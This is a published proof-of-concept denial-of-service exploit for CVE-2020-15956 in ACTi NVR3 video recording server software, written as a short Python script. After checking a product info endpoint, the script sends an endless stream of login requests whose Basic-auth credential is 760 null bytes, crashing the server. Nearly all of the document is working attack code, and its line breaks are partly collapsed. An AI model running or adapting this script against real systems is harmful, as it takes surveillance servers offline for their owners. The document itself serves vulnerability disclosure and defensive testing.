# Exploit Title: ACTi NVR3 Standard or Professional Server 3.0.12.42 - Denial of Service (PoC)## Date: 2020-08-04## Exploit Author: MegaMagnus## Vendor Homepage: https://www.acti.com/## Software Link: https://www.acti.com/DownloadCenter## Version: V.3.0.12.42 , V.2.3.04.07## Tested on: Windows 7, Windows 10## CVE: CVE-2020-15956 ## This is a Proof of Concept Exploit, Please use responsibly. ###################################################################################!/usr/bin/env python
import requests
from requests.auth import HTTPBasicAuth
import sys
def product_info(server):
try:
r = requests.get(sys.argv[1]+'/media/Product/getProductInfo', timeout=10)if r.status_code == 200:
print(r.text)return True
except Exception as e:
print(e)return False
if __name__ == "__main__":
if len(sys.argv)!= 2:
print("usage: cve-2020-15956.py <target>")exit(-1)if product_info(sys.argv[1]):
print("Starting DOS. Use Ctrl-C (SIGINT) to stop!")while True:
try:
payload = b"\x00"*(760)
r = requests.get(sys.argv[1]+'/Media/UserGroup/login', auth=HTTPBasicAuth('Basic',payload), timeout=10)
print(r.status_code)
except KeyboardInterrupt:
pass
except Exception as e:
pass